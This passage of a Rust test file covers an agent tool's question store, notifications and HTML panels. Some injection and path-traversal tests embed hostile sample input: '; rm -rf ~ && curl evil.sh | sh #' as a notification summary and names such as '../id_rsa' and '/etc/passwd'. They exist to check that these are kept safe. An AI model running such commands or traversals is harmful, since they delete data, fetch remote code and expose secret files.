2906 notify(&broken, &q).await.is_err(),
2907 "the caller is told; it decides that it does not matter"
2908 );
2909
2910 let id = q.id.clone();
2911 let writer = Questions::at(dir.path().join("questions"));
2912 let handle = tokio::spawn(async move {
2913 tokio::time::sleep(Duration::from_millis(30)).await;
2914 let mut fresh = writer.get(&id).unwrap();
2915 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2916 writer.put(&mut fresh).unwrap();
2917 });
2918 let got = wait_for_owner(
2919 &mut q,
2920 &s,
2921 &broken,
2922 Duration::from_secs(5),
2923 Duration::from_millis(10),
2924 )
2925 .await
2926 .unwrap();
2927 handle.await.unwrap();
2928 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2929
2930 assert!(notify(&quiet(), &q).await.is_ok());
2932 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2933 }
2934
2935 #[tokio::test]
2936 async fn external_question_notification_names_the_supported_response_path() {
2937 let dir = tempfile::tempdir().unwrap();
2938 let path = dir.path().join("page");
2939 let cmd = config::Notify {
2940 command: vec![
2941 "sh".into(),
2942 "-c".into(),
2943 "printf '%s' \"$1\" > \"$2\"".into(),
2944 "notify".into(),
2945 "{summary}".into(),
2946 path.to_string_lossy().into_owned(),
2947 ],
2948 };
2949 let q = choice_question();
2950 notify(&cmd, &q).await.unwrap();
2951 let sent = std::fs::read_to_string(&path).unwrap();
2952 assert!(sent.starts_with("Question "));
2953 assert!(sent.contains(&q.summary));
2954 assert!(sent.contains(&format!("magi answer {}", q.id)));
2955 notify_text(&cmd, "", "Informational report. No reply needed.")
2956 .await
2957 .unwrap();
2958 assert_eq!(
2959 std::fs::read_to_string(&path).unwrap(),
2960 "Informational report. No reply needed."
2961 );
2962 }
2963
2964 #[test]
2965 fn external_notifications_and_questions_have_distinct_destinations() {
2966 assert_eq!(
2967 question_url("https://example.invalid/"),
2968 "https://example.invalid/#/questions"
2969 );
2970 assert_eq!(
2971 view_url("https://example.invalid/", "notifications"),
2972 "https://example.invalid/#/notifications"
2973 );
2974 assert_eq!(view_url("", "notifications"), "");
2975 assert_eq!(
2976 view_url("https://example.invalid/#/queue", "notifications"),
2977 "https://example.invalid/#/queue"
2978 );
2979 }
2980
2981 #[test]
2982 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2983 let mut q = choice_question();
2984 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2985 let template = [
2986 "ntfy".to_owned(),
2987 "publish".to_owned(),
2988 "--click".to_owned(),
2989 "{url}".to_owned(),
2990 "--title".to_owned(),
2991 "magi {run} needs you".to_owned(),
2992 "{summary}".to_owned(),
2993 ];
2994 let argv: Vec<String> = template
2995 .iter()
2996 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2997 .collect();
2998
2999 assert_eq!(
3000 argv,
3001 [
3002 "ntfy",
3003 "publish",
3004 "--click",
3005 "http://100.64.0.1:7777/#/questions",
3006 "--title",
3007 "magi 20260902-201256-9fb7 needs you",
3008 "; rm -rf ~ && curl evil.sh | sh #",
3009 ],
3010 "the shell metacharacters are one argument's contents, not syntax"
3011 );
3012
3013 q.summary = "should {url} be configurable?".to_owned();
3016 assert_eq!(
3017 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
3018 "should {url} be configurable?"
3019 );
3020 assert_eq!(
3022 expand("{title}: {run}", &q.run, &q.summary, ""),
3023 "{title}: 20260902-201256-9fb7"
3024 );
3025 assert_eq!(
3026 expand("no placeholders", &q.run, &q.summary, "http://x"),
3027 "no placeholders"
3028 );
3029 }
3030
3031 #[test]
3032 fn the_notification_link_lands_on_the_view_that_can_answer() {
3033 assert_eq!(
3034 question_url("http://100.64.0.1:7777"),
3035 "http://100.64.0.1:7777/#/questions"
3036 );
3037 assert_eq!(
3038 question_url("http://100.64.0.1:7777/"),
3039 "http://100.64.0.1:7777/#/questions"
3040 );
3041 assert_eq!(
3043 question_url("http://magi.ts.net/#/runs"),
3044 "http://magi.ts.net/#/runs"
3045 );
3046 assert_eq!(question_url(" "), "");
3048 }
3049
3050 fn panelled() -> Question {
3052 let mut q = choice_question();
3053 q.id = "20260903-014455-ab12".to_owned();
3054 q
3055 }
3056
3057 #[test]
3058 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
3059 let (dir, s) = store();
3060 let work = dir.path().join("worktree");
3061 std::fs::create_dir_all(&work).unwrap();
3062 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
3063 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
3064
3065 let mut q = panelled();
3066 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
3067 s.put_panel(
3068 &mut q,
3069 html,
3070 &[work.join("table.png"), work.join("diff.svg")],
3071 )
3072 .unwrap();
3073 s.put(&mut q).unwrap();
3074
3075 assert!(q.panel);
3076 assert_eq!(
3077 q.assets,
3078 ["diff.svg", "table.png"],
3079 "sorted, not in the order the agent happened to pass them"
3080 );
3081 assert_eq!(
3082 s.panel_html(&q.id).as_deref(),
3083 Some(html),
3084 "the html is stored byte for byte; the agent authored the markup"
3085 );
3086 assert_eq!(
3087 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
3088 Some(&b"<svg/>"[..])
3089 );
3090
3091 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
3093 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
3094 assert_eq!(json["panel"], true);
3095 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
3096 let back = s.get(&q.id).unwrap();
3097 assert!(back.panel);
3098 assert_eq!(back.assets, q.assets);
3099
3100 std::fs::remove_dir_all(&work).unwrap();
3103 assert_eq!(
3104 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
3105 Some(&b"\x89PNG"[..]),
3106 "a referenced asset would be gone with the worktree"
3107 );
3108 }
3109
3110 #[test]
3111 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
3112 let (dir, s) = store();
3113 let mut q = panelled();
3114 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
3115 s.put(&mut q).unwrap();
3116
3117 let secret = "this must never reach the browser";
3120 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
3121 assert_eq!(
3122 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
3123 secret,
3124 "the traversal is real: the operating system resolves this path \
3125 happily, which is why the name has to be refused before the join"
3126 );
3127
3128 let long = "x".repeat(200);
3129 for name in [
3130 "..",
3131 "../id_rsa",
3132 "..\\id_rsa",
3133 "sub/../id_rsa",
3134 "/",
3135 "\\",
3136 "/etc/passwd",
3137 "C:\\Windows\\win.ini",
3138 "",
3139 ".hidden",
3140 ".",
3141 long.as_str(),
3142 ] {
3143 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3144 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3145 assert!(
3146 e.contains("not a panel file name"),
3147 "`{name}` must be refused as a name, not attempted: {e}"
3148 );
3149 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3150 }
3151 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3154
3155 let hidden = dir.path().join(".hidden");
3158 std::fs::write(&hidden, "x").unwrap();
3159 let e = s
3160 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3161 .unwrap_err()
3162 .to_string();
3163 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3164 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3165 assert!(q.assets.is_empty());
3166 }
3167
3168 #[test]
3169 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3170 let (dir, s) = store();
3171 let mut q = panelled();
3172 s.put(&mut q).unwrap();
3173
3174 let big = dir.path().join("recording.png");
3177 std::fs::File::create(&big)
3178 .unwrap()
3179 .set_len(PANEL_MAX_BYTES)
3180 .unwrap();
3181
3182 let html = "<p>see the recording</p>";
3183 let total = PANEL_MAX_BYTES + html.len() as u64;
3184 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3185 assert!(
3186 e.contains(&PANEL_MAX_BYTES.to_string()),
3187 "the cap is named so the agent knows the limit: {e}"
3188 );
3189 assert!(
3190 e.contains(&total.to_string()),
3191 "the actual size is named so the agent knows by how much: {e}"
3192 );
3193
3194 assert!(!q.panel);
3195 assert!(q.assets.is_empty());
3196 let left: Vec<String> = std::fs::read_dir(s.root())
3197 .unwrap()
3198 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3199 .collect();
3200 assert_eq!(
3201 left,
3202 [format!("{}.json", q.id)],
3203 "a refused panel leaves neither a directory nor scratch: {left:?}"
3204 );
3205 }
3206
3207 #[test]
3208 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3209 let (dir, s) = store();
3210 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3211 std::fs::create_dir_all(&before).unwrap();
3212 std::fs::create_dir_all(&after).unwrap();
3213 std::fs::write(before.join("diff.png"), "before").unwrap();
3214 std::fs::write(after.join("diff.png"), "after").unwrap();
3215
3216 let mut q = panelled();
3217 let e = s
3218 .put_panel(
3219 &mut q,
3220 "<p>x</p>",
3221 &[before.join("diff.png"), after.join("diff.png")],
3222 )
3223 .unwrap_err()
3224 .to_string();
3225 assert!(e.contains("diff.png"), "{e}");
3226 assert!(
3227 e.contains("before") && e.contains("after"),
3228 "both sources are named, because the fix is to rename one: {e}"
3229 );
3230 assert!(!q.panel);
3231 assert!(!s.panel_dir(&q.id).exists());
3232 }
3233
3234 #[test]
3235 fn concurrent_questions_keep_independent_records_and_panels_with_identical_entropy() {
3236 let (_dir, s) = store();
3237 let barrier = std::sync::Barrier::new(8);
3238 let ids = std::thread::scope(|scope| {
3239 let handles: Vec<_> = (0..8)
3240 .map(|worker| {
3241 let s = &s;
3242 let barrier = &barrier;
3243 scope.spawn(move || {
3244 barrier.wait();
3245 (0..16)
3246 .map(|index| {
3247 let mut q = choice_question();
3248 q.id = new_id_at("20261020-224346", 0xf8ef);
3251 q.summary = format!("worker {worker}, question {index}");
3252 assert!(valid_asset_name(&q.id));
3253 assert_eq!(q.short(), "f8ef");
3254 let html = format!("<p>{}</p>", q.summary);
3255 s.put_panel(&mut q, &html, &[]).unwrap();
3256 s.put(&mut q).unwrap();
3257 (q.id, q.summary, html)
3258 })
3259 .collect::<Vec<_>>()
3260 })
3261 })
3262 .collect();
3263 handles
3264 .into_iter()
3265 .flat_map(|handle| handle.join().unwrap())
3266 .collect::<Vec<_>>()
3267 });
3268 assert_eq!(s.list().len(), ids.len());
3269 for (id, summary, html) in ids {
3270 assert_eq!(s.get(&id).unwrap().summary, summary);
3271 assert_eq!(s.panel_html(&id).as_deref(), Some(html.as_str()));
3272 }
3273 }
3274
3275 #[test]
3276 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3277 let (dir, s) = store();
3278 std::fs::write(dir.path().join("old.png"), "old").unwrap();
3279 std::fs::write(dir.path().join("new.png"), "new").unwrap();
3280
3281 let mut q = panelled();
3282 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3283 .unwrap();
3284 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3285 .unwrap();
3286
3287 assert_eq!(q.assets, ["new.png"]);
3288 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3289 assert!(
3290 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3291 "an asset from the first attempt would show a mix of two answers"
3292 );
3293
3294 s.drop_panel(&q.id).unwrap();
3295 assert!(s.panel_html(&q.id).is_none());
3296 assert!(!s.panel_dir(&q.id).exists());
3297 s.drop_panel(&q.id)
3298 .expect("dropping a panel that is already gone is the desired state");
3299 }
3300
3301 #[test]
3302 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3303 let (_dir, s) = store();
3304 let mut q = panelled();
3305 s.put(&mut q).unwrap();
3306
3307 assert!(!q.panel);
3308 assert!(s.panel_html(&q.id).is_none());
3309 assert!(
3310 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3311 "a missing file is a 404 for the caller, not a failure of the store"
3312 );
3313 let json = serde_json::to_value(&q).unwrap();
3314 assert_eq!(json["panel"], false);
3315 assert_eq!(json["assets"], serde_json::json!([]));
3316
3317 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
3320 assert!(e.contains("empty panel"), "{e}");
3321 assert!(!s.panel_dir(&q.id).exists());
3322 }
3323
3324 #[test]
3325 fn a_question_written_before_panels_existed_still_deserialises() {
3326 let (_dir, s) = store();
3327 std::fs::create_dir_all(s.root()).unwrap();
3328 let id = "20260902-231501-ab12";
3329 let body = r#"{
3331 "schema": 1,
3332 "id": "20260902-231501-ab12",
3333 "run": "20260902-201256-9fb7",
3334 "node": "implement",
3335 "seat": "impl-A",
3336 "summary": "Which storage backend should the cache use?",
3337 "detail": "Both are already dependencies.",
3338 "choices": ["SQLite", "Redis"],
3339 "status": "open",
3340 "asked_at": "2026-09-02T23:15:01Z",
3341 "answered_at": null,
3342 "answer": null
3343}"#;
3344 std::fs::write(s.path_of(id), body).unwrap();
3345
3346 let q = s.get(id).unwrap();
3347 assert!(
3348 !q.panel,
3349 "an absent field means no panel, not a parse error"
3350 );
3351 assert!(q.assets.is_empty());
3352 assert_eq!(q.schema, 1);
3357 assert!(q.thread.is_empty());
3358 assert_eq!(
3359 q.answer_timeout, 0,
3360 "an absent field means unrecorded, not a zero-second deadline"
3361 );
3362 assert!(!q.waiting_on_agent());
3363 assert_eq!(q.summary, "Which storage backend should the cache use?");
3364 assert_eq!(
3365 s.list().len(),
3366 1,
3367 "and it is still listed; skipping it would hide an open question"
3368 );
3369 }
3370
3371 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3372 Turn {
3373 who,
3374 body: body.to_owned(),
3375 at,
3376 note: None,
3377 }
3378 }
3379
3380 #[test]
3381 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3382 let mut q = choice_question();
3385 q.thread
3386 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3387 let value = serde_json::to_value(&q.thread[0]).unwrap();
3388 let mut keys: Vec<&str> = value
3389 .as_object()
3390 .unwrap()
3391 .keys()
3392 .map(String::as_str)
3393 .collect();
3394 keys.sort_unstable();
3395 assert_eq!(keys, ["at", "body", "who"]);
3396 assert_eq!(value["who"], "operator");
3397 assert_eq!(value["body"], "why not Postgres?");
3398
3399 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3400 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3401 assert_eq!(parsed.who, Who::Agent);
3402 }
3403
3404 fn approval_question() -> Question {
3405 let mut q = Question::new(
3406 "run".into(),
3407 crate::land::APPROVAL_NODE.into(),
3408 "land".into(),
3409 "Merge?".into(),
3410 String::new(),
3411 vec!["merge".into(), "hold".into()],
3412 );
3413 let mut dep = Deputy::new("brief".into());
3414 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3415 q.deputy = Some(dep);
3416 q
3417 }
3418
3419 #[test]
3420 fn a_deputy_settles_merge_and_recovery_on_the_owners_words_without_a_quote() {
3421 let target = || crate::merge_decision::Target {
3422 pr: "PR 42".into(),
3423 head: "abc".into(),
3424 language: "en".into(),
3425 };
3426 let mut q = approval_question();
3428 q.merge_target = Some(target());
3429 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3430 .unwrap();
3431 q.settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3432 .unwrap();
3433 assert_eq!(q.resolution().as_deref(), Some(crate::land::APPROVE));
3434 assert_eq!(q.merge_target, Some(target()), "the merge stays head-bound");
3435 for choice in [
3437 crate::land::HOLD,
3438 crate::land::REPAIR,
3439 crate::merge_decision::WITHDRAW,
3440 "reimplement:beta",
3441 ] {
3442 let mut q = approval_question();
3443 q.choices = vec![crate::land::APPROVE.into(), choice.into()];
3444 q.merge_target = Some(target());
3445 q.say("ちょっと待って、そっちでお願い").unwrap();
3446 q.settle_by_deputy("deputy-x", choice, Some("owner chose this"))
3447 .unwrap();
3448 assert_eq!(q.resolution().as_deref(), Some(choice));
3449 }
3450 let mut release = Question::new(
3452 String::new(),
3453 crate::bump::NOTICE_NODE.into(),
3454 "release-watch".into(),
3455 "Release?".into(),
3456 String::new(),
3457 vec![crate::land::APPROVE.into(), crate::land::HOLD.into()],
3458 );
3459 release.deputy = approval_question().deputy;
3460 release.say("リリースしていいよ").unwrap();
3461 release
3462 .settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3463 .unwrap();
3464 assert_eq!(release.resolution().as_deref(), Some(crate::land::APPROVE));
3465 }
3466
3467 #[test]
3468 fn a_deputy_settles_posting_and_destructive_choices_without_a_quote() {
3469 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3470 for choice in [POST_ORIGINAL, USE_REWRITE] {
3471 let mut q = Question::new(
3472 "run".into(),
3473 ASK_NODE.into(),
3474 ASK_SEAT.into(),
3475 "s".into(),
3476 String::new(),
3477 vec![USE_FALLBACK.into(), choice.into()],
3478 );
3479 q.deputy = approval_question().deputy;
3480 q.say("それでいいよ、投稿して").unwrap();
3481 q.settle_by_deputy("deputy-x", choice, None).unwrap();
3482 assert_eq!(q.resolution().as_deref(), Some(choice));
3483 }
3484 let mut discard = approval_question();
3485 discard.node = "recovery".into();
3486 discard.choices.push("discard".into());
3487 discard.actions.insert("discard".into(), ChoiceAction::Done);
3488 discard.say("おっけーそれぞれ回答してー").unwrap();
3489 discard
3490 .settle_by_deputy("deputy-x", "discard", None)
3491 .unwrap();
3492 assert_eq!(discard.chosen_action(), Some(&ChoiceAction::Done));
3493 }
3494
3495 #[test]
3496 fn hold_may_carry_the_hold_effect_but_no_other_action() {
3497 let mut q = choice_question();
3498 q.choices = vec![crate::land::HOLD.into(), "finish".into()];
3499 q.actions
3500 .insert(crate::land::HOLD.into(), ChoiceAction::Hold);
3501 q.clone()
3502 .answer(Answer::Choice(crate::land::HOLD.into()))
3503 .unwrap();
3504 q.actions
3505 .insert(crate::land::HOLD.into(), ChoiceAction::Done);
3506 assert!(q.answer(Answer::Choice(crate::land::HOLD.into())).is_err());
3507 }
3508
3509 fn settle_ready() -> Question {
3510 let mut q = Question::new(
3511 "task".to_owned(),
3512 "conduct".to_owned(),
3513 "conduct".to_owned(),
3514 "Done?".to_owned(),
3515 String::new(),
3516 vec!["yes".to_owned(), "no".to_owned()],
3517 );
3518 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3519 seat.turns = 1;
3520 let mut dep = Deputy::new("brief".to_owned());
3521 dep.seat = Some(seat);
3522 q.deputy = Some(dep);
3523 q.say("setup done, and file a follow-up").unwrap();
3524 q
3525 }
3526
3527 #[test]
3528 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3529 let dir = tempfile::TempDir::new().unwrap();
3530 let store = Questions::at(dir.path().join("questions"));
3531 let mut q = settle_ready();
3532 let id = q.id.clone();
3533 store.put(&mut q).unwrap();
3534 store
3535 .update(&id, |q| {
3536 q.settle_by_deputy("deputy-x", "yes", Some(" no follow-up was queued "))
3537 })
3538 .unwrap();
3539 let back = store.get(&id).unwrap();
3540 let turn = back.thread.last().unwrap();
3541 assert_eq!(turn.who, Who::Agent);
3542 assert!(turn.body.starts_with("Settled as `yes`"));
3543 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3544 assert_eq!(back.thread[0].note, None);
3545 }
3546
3547 #[test]
3548 fn an_empty_or_blank_settle_note_is_no_note() {
3549 for note in [None, Some(""), Some(" \n ")] {
3550 let mut q = settle_ready();
3551 q.settle_by_deputy("deputy-x", "yes", note).unwrap();
3552 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3553 let json = serde_json::to_string(&q).unwrap();
3554 assert!(!json.contains("\"note\""), "no key when there is none");
3555 }
3556 }
3557
3558 #[test]
3559 fn a_refused_settle_leaves_no_note_behind() {
3560 let mut q = settle_ready();
3561 let before = q.thread.clone();
3562 assert!(q.settle_by_deputy("deputy-x", "maybe", Some("n")).is_err());
3563 assert!(
3564 q.settle_by_deputy("someone-else", "yes", Some("n"))
3565 .is_err()
3566 );
3567 assert_eq!(q.thread, before);
3568 assert_eq!(q.status, QuestionStatus::Open);
3569 }
3570
3571 #[test]
3572 fn a_turn_written_before_notes_existed_still_reads() {
3573 let t: Turn =
3574 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3575 .unwrap();
3576 assert_eq!(t.note, None);
3577 }
3578
3579 #[test]
3580 fn a_deputy_settles_only_its_own_open_question_on_an_offered_choice() {
3581 let mut q = Question::new(
3582 "task".to_owned(),
3583 "conduct".to_owned(),
3584 "conduct".to_owned(),
3585 "Done?".to_owned(),
3586 String::new(),
3587 vec!["yes".to_owned(), "no".to_owned()],
3588 );
3589 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3590 seat.turns = 1;
3591 let mut dep = Deputy::new("brief".to_owned());
3592 dep.seat = Some(seat);
3593 q.deputy = Some(dep);
3594 q.say("setup done, go ahead").unwrap();
3595
3596 assert!(q.settle_by_deputy("someone-else", "yes", None).is_err());
3597 assert!(q.settle_by_deputy("deputy-x", "maybe", None).is_err());
3598 let mut routed = q.clone();
3599 routed.routed_task = Some("task".into());
3600 assert!(
3601 routed.settle_by_deputy("deputy-x", "yes", None).is_err(),
3602 "a routed decision belongs to the task chat"
3603 );
3604 assert_eq!(q.status, QuestionStatus::Open);
3605
3606 q.settle_by_deputy("deputy-x", "yes", None).unwrap();
3607 assert_eq!(q.status, QuestionStatus::Answered);
3608 assert_eq!(q.resolution().as_deref(), Some("yes"));
3609 let last = q.thread.last().unwrap();
3610 assert_eq!(last.who, Who::Agent);
3611 assert!(last.body.starts_with("Settled as `yes`"));
3612 let turns = q.thread.len();
3613 assert!(
3614 q.settle_by_deputy("deputy-x", "no", None).is_err(),
3615 "a settled question is not settled twice"
3616 );
3617 assert_eq!(q.thread.len(), turns);
3618 }
3619
3620 #[test]
3621 fn old_answer_evidence_still_loads_and_survives_a_re_save() {
3622 let q = choice_question();
3623 let mut v = serde_json::to_value(&q).unwrap();
3624 v["answer_authority"] = serde_json::json!({
3625 "talk": "talk", "turn": 0, "message": 0,
3626 "instruction": "id: use my text fp\nA title",
3627 "instruction_fingerprint": "f", "recommendation_turn": null,
3628 "recommendation_fingerprint": null, "question": q.id, "choice": "SQLite",
3629 "question_fingerprint": "g", "recovery_interpretation": "r"
3630 });
3631 let back: Question = serde_json::from_value(v).unwrap();
3632 let legacy = back.answer_authority.as_ref().unwrap();
3633 assert_eq!(legacy.question, q.id);
3634 assert_eq!(legacy.instruction, "id: use my text fp\nA title");
3635 let written = serde_json::to_value(&back).unwrap();
3638 assert_eq!(
3639 written["answer_authority"],
3640 serde_json::json!({
3641 "question": q.id, "choice": "SQLite",
3642 "instruction": "id: use my text fp\nA title"
3643 })
3644 );
3645 let again: Question = serde_json::from_value(written).unwrap();
3646 assert_eq!(again.answer_authority, back.answer_authority);
3647 assert!(
3648 serde_json::to_value(&q)
3649 .unwrap()
3650 .get("answer_authority")
3651 .is_none()
3652 );
3653 }
3654
3655 #[test]
3656 fn a_question_written_before_deputies_still_reads() {
3657 let mut q = Question::new(
3658 "task".to_owned(),
3659 "conduct".to_owned(),
3660 "conduct".to_owned(),
3661 "Done?".to_owned(),
3662 String::new(),
3663 Vec::new(),
3664 );
3665 q.schema = 4;
3666 let mut v = serde_json::to_value(&q).unwrap();
3667 v.as_object_mut().unwrap().remove("deputy");
3668 let back: Question = serde_json::from_value(v).unwrap();
3669 assert!(back.deputy.is_none());
3670 }
3671
3672 #[test]
3673 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3674 let mut q = choice_question();
3675 q.say("does the cache need eviction?").unwrap();
3676 assert_eq!(q.thread.len(), 1);
3677 assert_eq!(q.thread[0].who, Who::Operator);
3678 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3679 assert_eq!(q.status, QuestionStatus::Open);
3682 assert!(q.answer.is_none());
3683 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3684 }
3685
3686 #[test]
3687 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3688 let mut answered = choice_question();
3689 answered
3690 .answer(Answer::Choice("SQLite".to_owned()))
3691 .unwrap();
3692 let a = answered.say("still there?").unwrap_err().to_string();
3693 assert!(a.contains("already answered"), "{a}");
3694 let b = answered
3695 .reply("still there?", vec![])
3696 .unwrap_err()
3697 .to_string();
3698 assert!(b.contains("already answered"), "{b}");
3699
3700 let mut abandoned = choice_question();
3701 abandoned.abandon("timed out");
3702 let c = abandoned.say("hello?").unwrap_err().to_string();
3703 assert!(c.contains("abandoned"), "{c}");
3704
3705 let mut open = choice_question();
3706 let d = open.say(" ").unwrap_err().to_string();
3707 assert!(d.contains("empty"), "{d}");
3708 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3709 assert!(e.contains("empty"), "{e}");
3710 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3711 }
3712
3713 #[test]
3714 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3715 let mut q = choice_question();
3716 q.say("SQLite or Redis, but what about disk space?")
3717 .unwrap();
3718 assert!(q.waiting_on_agent());
3719
3720 q.reply(
3721 "SQLite: it is one file, no server to run.",
3722 vec!["SQLite".to_owned()],
3723 )
3724 .unwrap();
3725
3726 assert_eq!(q.choices, ["SQLite"]);
3727 assert!(
3728 !q.waiting_on_agent(),
3729 "the agent spoke, so the owner is the one being waited on now"
3730 );
3731 assert_eq!(q.thread.len(), 2);
3732 assert_eq!(q.thread[1].who, Who::Agent);
3733
3734 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3736 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3737 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3738 }
3739
3740 #[test]
3741 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3742 let mut fresh = choice_question();
3743 assert!(
3744 fresh.should_notify(Timestamp::now()),
3745 "nobody has been notified yet, so the first ask always pages"
3746 );
3747
3748 fresh.say("why not Postgres?").unwrap();
3749 let just_said = fresh.thread[0].at;
3750 assert!(
3751 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3752 "still on the screen a minute later; no need to page again"
3753 );
3754 assert!(
3755 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3756 "exactly the window: `>` means this side stays quiet"
3757 );
3758 assert!(
3759 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3760 "past the window: they may have walked away"
3761 );
3762 }
3763
3764 #[test]
3765 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3766 let (_dir, s) = store();
3767 let mut q = choice_question();
3768 s.put(&mut q).unwrap();
3769 q.say("why not Postgres?").unwrap();
3770 s.put(&mut q).unwrap();
3771 q.reply("no server to run", vec!["SQLite".to_owned()])
3772 .unwrap();
3773 s.put(&mut q).unwrap();
3774
3775 assert_eq!(
3776 s.count_open(),
3777 1,
3778 "one question that talked twice is still one open question"
3779 );
3780 assert_eq!(s.open_for(&q.run).len(), 1);
3781 }
3782
3783 #[tokio::test]
3784 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3785 let (dir, s) = store();
3786 let mut q = choice_question();
3787 let id = q.id.clone();
3788 let writer = Questions::at(dir.path().join("questions"));
3789 let handle = tokio::spawn(async move {
3790 tokio::time::sleep(Duration::from_millis(30)).await;
3791 let mut fresh = writer.get(&id).expect("the question was filed first");
3792 fresh.say("why not Postgres?").unwrap();
3793 writer.put(&mut fresh).unwrap();
3794 });
3795
3796 let got = wait_for_owner(
3797 &mut q,
3798 &s,
3799 &quiet(),
3800 Duration::from_secs(5),
3801 Duration::from_millis(10),
3802 )
3803 .await
3804 .unwrap();
3805
3806 handle.await.unwrap();
3807 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3808 assert_eq!(
3809 q.status,
3810 QuestionStatus::Open,
3811 "talking back is not a decision; the question stays open"
3812 );
3813 assert!(q.answer.is_none());
3814 }
3815
3816 #[test]
3817 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3818 let mut q = choice_question();
3819 q.say("A").unwrap();
3820 q.delivered_turns = q.thread.len();
3821 q.say("B").unwrap();
3822 q.reply("about A", vec![]).unwrap();
3823 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3824 q.delivered_turns = q.thread.len();
3825 assert_eq!(q.unread_from_owner(), None);
3826 }
3827
3828 #[test]
3829 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3830 let (_d, s) = store();
3831 let mut q = choice_question();
3832 s.put(&mut q).unwrap();
3833 q.say("first").unwrap();
3834 q.say("second").unwrap();
3835 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3836 s.put(&mut q).unwrap();
3837 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3838 let mut out = Vec::new();
3839 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3840 let shown = String::from_utf8(out).unwrap();
3841 let (a, b, c) = (
3842 shown.find("first").unwrap(),
3843 shown.find("second").unwrap(),
3844 shown.find("SQLite").unwrap(),
3845 );
3846 assert!(a < b && b < c, "{shown}");
3847 assert_eq!(q.delivered_turns, q.thread.len());
3848 assert!(q.answer_delivered);
3849 }
3850
3851 #[test]
3852 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3853 let mut q = choice_question();
